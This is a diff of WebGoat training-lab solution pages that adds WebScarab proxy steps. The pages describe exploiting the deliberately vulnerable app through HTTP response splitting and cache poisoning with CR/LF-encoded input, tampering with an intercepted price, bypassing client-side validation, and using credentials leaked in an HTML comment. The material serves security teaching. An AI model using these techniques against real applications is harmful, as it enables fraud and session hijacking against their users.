Configure your browser to use a local proxy. In Internet Explorer you can do
|
||||
this via “Tools” – “Internet Options” – “Connections” – “LAN Settings”. You
|
||||
must define proxy “localhost” with port 8008.<o:p></o:p></span></p>
|
||||
this via "Tools" – "Internet Options" – "Connections" – "LAN Settings". You
|
||||
must define proxy "localhost" with port 8008.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -573,7 +573,7 @@ style='font-family:"Arial","sans-serif"'> Lesson 3<o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Right-click
|
||||
the page and select “View source”<o:p></o:p></span></p>
|
||||
the page and select "View source"<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_39"
|
||||
@ -616,7 +616,7 @@ style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>In the HTML
|
||||
source there is a comment that contains a user name admin and a password
|
||||
adminpw. Enter these values in WebGoat and click “Login”<o:p></o:p></span></p>
|
||||
adminpw. Enter these values in WebGoat and click "Login"<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -556,16 +556,14 @@ will accept the request, reverse the input, and display it back to the user,
|
||||
illustrating the basics of handling an HTTP request. <br>
|
||||
<br>
|
||||
The user should become familiar with the features of WebGoat by manipulating
|
||||
the above buttons to view hints, show the HTTP request parameters, the HTTP
|
||||
request cookies, and the Java source code.<o:p></o:p></span></p>
|
||||
the above buttons to view hints and solution. We have to use WebScarab for the first time<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution:</span></b><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click “Show
|
||||
Params” and ‘Show Cookies”.<o:p></o:p></span></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Add a Proxy on localhost in the settings of your browser. Then you can start WebScarab .We have to select "intercept request" in the tab "Intercept".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-size:8.0pt;
|
||||
font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype
|
||||
@ -588,34 +586,23 @@ font-family:"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapety
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_1" o:spid="_x0000_i1026" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpBasics_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="/WebGoat/lesson_solutions/HttpBasics_files/image005.jpg" v:shapes="Picture_x0020_1"><![endif]></span></p>
|
||||
<img src="/WebGoat/lesson_solutions/HttpBasics_files/webscarab1.jpg"></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span
|
||||
style='mso-element:field-end'></span><![endif]--> Enter your name<span
|
||||
style='mso-element:field-end'></span><![endif]--> Intercept Request<span
|
||||
style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Fill out your
|
||||
name and click the button Go!<o:p></o:p></span></p>
|
||||
name and click the button Go! We get a new WebScarab window, where we can find the parameter person.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif";
|
||||
mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_2" o:spid="_x0000_i1025"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpBasics_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="/WebGoat/lesson_solutions/HttpBasics_files/image006.jpg" v:shapes="Picture_x0020_2"><![endif]></span><span
|
||||
style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
<img src="/WebGoat/lesson_solutions/HttpBasics_files/webscarab2.jpg">
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
After Width: | Height: | Size: 17 KiB |
After Width: | Height: | Size: 31 KiB |
@ -712,7 +712,7 @@ normal'>Solution:<o:p></o:p></b></p>
|
||||
normal'><o:p> </o:p></b></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>HTTPOnly
|
||||
is not configured. When you click on “Read Cookie” you will get the following
|
||||
is not configured. When you click on "Read Cookie" you will get the following
|
||||
pop-up in JavaScript, displaying the cookies<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><b style='mso-bidi-font-weight:
|
||||
@ -736,7 +736,7 @@ style='font-weight:normal;mso-bidi-font-weight:bold'><o:p></o:p></span></p>
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Select
|
||||
“Yes” to turn HTTPOnly on. Intercept the HTTP Request and HTTP Response in
|
||||
"Yes" to turn HTTPOnly on. Intercept the HTTP Request and HTTP Response in
|
||||
WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -777,7 +777,7 @@ cookie</p>
|
||||
<p class=MsoNormal style='text-align:justify'><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify'><span style='font-family:"Arial","sans-serif"'>Click
|
||||
on “Read cookie”. You will see the JSESSIONID which is not using HTTPOnly.<o:p></o:p></span></p>
|
||||
on "Read cookie". You will see the JSESSIONID which is not using HTTPOnly.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='text-align:justify;page-break-after:avoid'><span
|
||||
style='mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_120"
|
||||
|
@ -691,8 +691,8 @@ Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></
|
||||
|
||||
<!-- Start Instructions -->
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>This lesson
|
||||
has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>
|
||||
This lesson has two stages. Stage 1 teaches you how to do HTTP Splitting attacks while
|
||||
stage 2 builds on that to teach you how to elevate HTTP Splitting to Cache Poisoning.<br>
|
||||
Enter a language for the system to search by. You will notice that the
|
||||
application is redirecting your request to another resource on the server. You
|
||||
@ -725,17 +725,20 @@ exploited successfully you will find the green check in the left menu.<o:p></o:p
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_159" o:spid="_x0000_i1038" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image001.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image029.jpg" v:shapes="Picture_x0020_159"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image029.jpg" v:shapes="Picture_x0020_159"><![endif]></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>
|
||||
Please note that this solution is written for Windows. If you use Linux you have to alter it.
|
||||
Windows uses a CR and LF for new Line. Linux uses only LF.
|
||||
So all the %0d%0a have to be replaced by %0a if you are using Linux.<br/><br/>
|
||||
<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Because the
|
||||
input is not validated you can inject any HTTP syntax, carriage returns and
|
||||
@ -753,9 +756,9 @@ requests and responses?<o:p></o:p></span></p>
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_160"
|
||||
o:spid="_x0000_i1037" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image003.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image030.jpg" v:shapes="Picture_x0020_160"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image030.jpg" v:shapes="Picture_x0020_160"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -767,9 +770,9 @@ field-end'></span><![endif]--> Language en</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_161" o:spid="_x0000_i1036"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image005.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image031.jpg" v:shapes="Picture_x0020_161"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image031.jpg" v:shapes="Picture_x0020_161"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -783,9 +786,9 @@ field-end'></span><![endif]--> HTTP Request</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_162" o:spid="_x0000_i1035"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image007.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image032.jpg" v:shapes="Picture_x0020_162"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image032.jpg" v:shapes="Picture_x0020_162"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -799,9 +802,9 @@ field-end'></span><![endif]--> First HTTP Response</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_163" o:spid="_x0000_i1034"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image009.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image033.jpg" v:shapes="Picture_x0020_163"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image033.jpg" v:shapes="Picture_x0020_163"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -820,9 +823,9 @@ for the language en%0d%0a%0d%0a%0d%0a<o:p></o:p></span></p>
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_164"
|
||||
o:spid="_x0000_i1033" type="#_x0000_t75" style='width:481.5pt;height:344.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image011.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image034.jpg" v:shapes="Picture_x0020_164"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image034.jpg" v:shapes="Picture_x0020_164"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -836,9 +839,9 @@ field-end'></span><![endif]--> First HTTP Request</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_165" o:spid="_x0000_i1032"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image013.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image013.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image035.jpg" v:shapes="Picture_x0020_165"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image035.jpg" v:shapes="Picture_x0020_165"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -869,9 +872,9 @@ Wingdings'>J</span></span><span style='font-family:"Arial","sans-serif"'></ht
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_166"
|
||||
o:spid="_x0000_i1031" type="#_x0000_t75" style='width:481.5pt;height:344.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image015.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image015.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image036.jpg" v:shapes="Picture_x0020_166"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image036.jpg" v:shapes="Picture_x0020_166"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -885,9 +888,9 @@ field-end'></span><![endif]--> HTTP Splitting attack</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_167" o:spid="_x0000_i1030"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image017.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image017.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image037.jpg" v:shapes="Picture_x0020_167"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image037.jpg" v:shapes="Picture_x0020_167"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -901,9 +904,9 @@ field-end'></span><![endif]--> HTTP Response</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_168" o:spid="_x0000_i1029"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image019.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image019.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image038.jpg" v:shapes="Picture_x0020_168"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image038.jpg" v:shapes="Picture_x0020_168"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -917,9 +920,9 @@ field-end'></span><![endif]--> Second HTTP Request</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_169" o:spid="_x0000_i1028"
|
||||
type="#_x0000_t75" style='width:481.5pt;height:344.25pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image021.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image021.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=642 height=459
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image039.jpg" v:shapes="Picture_x0020_169"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image039.jpg" v:shapes="Picture_x0020_169"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -933,9 +936,9 @@ style='mso-element:field-end'></span><![endif]--> Second HTTP Response</p>
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_170" o:spid="_x0000_i1027"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image023.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image023.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image040.jpg" v:shapes="Picture_x0020_170"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image040.jpg" v:shapes="Picture_x0020_170"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -954,9 +957,9 @@ button of your browser.<o:p></o:p></span></p>
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_171"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image025.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image025.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image041.jpg" v:shapes="Picture_x0020_171"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image041.jpg" v:shapes="Picture_x0020_171"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -988,9 +991,9 @@ Wingdings'>J</span></span><span style='font-family:"Arial","sans-serif"'></ht
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_172" o:spid="_x0000_i1025"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="WebGoat/lesson_solutions/HttpSplitting_files/image027.png" o:title=""/>
|
||||
<v:imagedata src="/WebGoat/lesson_solutions/HttpSplitting_files/image027.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="WebGoat/lesson_solutions/HttpSplitting_files/image042.jpg" v:shapes="Picture_x0020_172"><![endif]></span></p>
|
||||
src="/WebGoat/lesson_solutions/HttpSplitting_files/image042.jpg" v:shapes="Picture_x0020_172"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
@ -1006,7 +1009,7 @@ style='mso-element:field-end'></span><![endif]--> Inject cache poisoning</p>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='/WebGoat/images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
@ -731,7 +731,7 @@ field-end'></span><![endif]--> Intercept HTTP Response</p>
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Change the
|
||||
price for the expensive flight of $600 to $100 and click “Accept changes”.<o:p></o:p></span></p>
|
||||
price for the expensive flight of $600 to $100 and click "Accept changes".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -770,7 +770,7 @@ field-end'></span><![endif]--> Injected result</p>
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Select the flight
|
||||
with no stops and the updated price and click “Submit”.<o:p></o:p></span></p>
|
||||
with no stops and the updated price and click "Submit".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -618,7 +618,7 @@ field-end'></span><![endif]--> Intercept request<span style='font-family:"Arial"
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Add different
|
||||
symbols to the fields and click “Accept changes”.<o:p></o:p></span></p>
|
||||
symbols to the fields and click "Accept changes".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -663,8 +663,8 @@ style='font-family:"Arial","sans-serif"'> Lesson 6 Completed<o:p></o:p></span></
|
||||
normal'><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></i></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Reload the
|
||||
page by clicking on the menu item “How to bypass Client-Side Javascript
|
||||
Validation” and intercept the response in WebScarab.<o:p></o:p></span></p>
|
||||
page by clicking on the menu item "How to bypass Client-Side Javascript
|
||||
Validation" and intercept the response in WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
@ -685,7 +685,7 @@ src="/WebGoat/lesson_solutions/JavaScriptValidation_files/image011.jpg" v:shapes
|
||||
field-begin'></span><span style='mso-spacerun:yes'> </span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Enable “Intercept responses”<span
|
||||
field-end'></span><![endif]--> Enable "Intercept responses"<span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -708,7 +708,7 @@ field-end'></span><![endif]--> Intercepted response<span style='font-family:
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>If you remove
|
||||
the onclick=’validate();’ the “Submit” button will not work anymore.<o:p></o:p></span></p>
|
||||
the onclick="validate();" the "Submit" button will not work anymore.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Locate the
|
||||
validate() Javascript function in the HTML page.<o:p></o:p></span></p>
|
||||
@ -753,8 +753,8 @@ style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click “Accept
|
||||
changes”. This returns a HTML page like before but without any regular
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click "Accept
|
||||
changes". This returns a HTML page like before but without any regular
|
||||
expression checks.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
@ -776,7 +776,7 @@ field-end'></span><![endif]--> It looks the same<span style='font-family:"Arial"
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Change the
|
||||
fields in the HTML page to contain symbols like @#@@# and click “Submit”. <o:p></o:p></span></p>
|
||||
fields in the HTML page to contain symbols like @#@@# and click "Submit". <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
|
@ -0,0 +1,50 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Role Based Access Control Stage2</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
In role-based access control scheme, a role represents
|
||||
a set of access permissions and privileges. A user can be
|
||||
assigned one or more roles. A role-based access control
|
||||
normally consists of two parts: role permission management
|
||||
and role assignment. A broken role-based access
|
||||
control scheme might allow a user to perform accesses
|
||||
